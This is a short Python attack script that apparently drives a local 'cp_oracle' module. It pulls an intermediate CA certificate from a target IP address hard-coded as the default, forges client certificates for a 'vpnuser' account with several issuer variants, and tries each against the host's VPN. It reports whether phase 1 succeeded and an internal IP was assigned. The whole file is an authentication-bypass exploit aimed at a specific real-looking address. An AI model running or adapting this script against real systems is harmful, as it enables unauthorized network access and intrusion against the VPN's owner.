import struct, sys
sys.path.insert(0, "/root/recon")
import cp_oracle as co

ip = sys.argv[1] if len(sys.argv) > 1 else "60.248.18.205"
ders, org = co.get_ica(ip)
print("certs", len(ders), "org", org)
ica = ders[1]
ica_cert = co.x509.load_der_x509_certificate(ica)
full = ica_cert.subject
short = co.x509.Name([co.x509.NameAttribute(co.NameOID.ORGANIZATION_NAME, org, _type=co._ASN1Type.PrintableString)])
print("ica subject:", full.rfc4514_string())

combos = [
    ("short1", short, ders[1:2]),
    ("full1", full, ders[1:2]),
    ("short2", short, ders[1:3]),
    ("full2", full, ders[1:3]),
]
for name, issuer, chain in combos:
    f = co.forge("vpnuser", ica, org, issuer, chain)
    s = co.Session(ip, "vpnuser")
    r = s.run(f, with_hash=False)
    s.close()
    print(name, "phase1", r["phase1"], "ip", r["ip_assigned"], "|", ",".join(r["notes"])[120:400], flush=True)
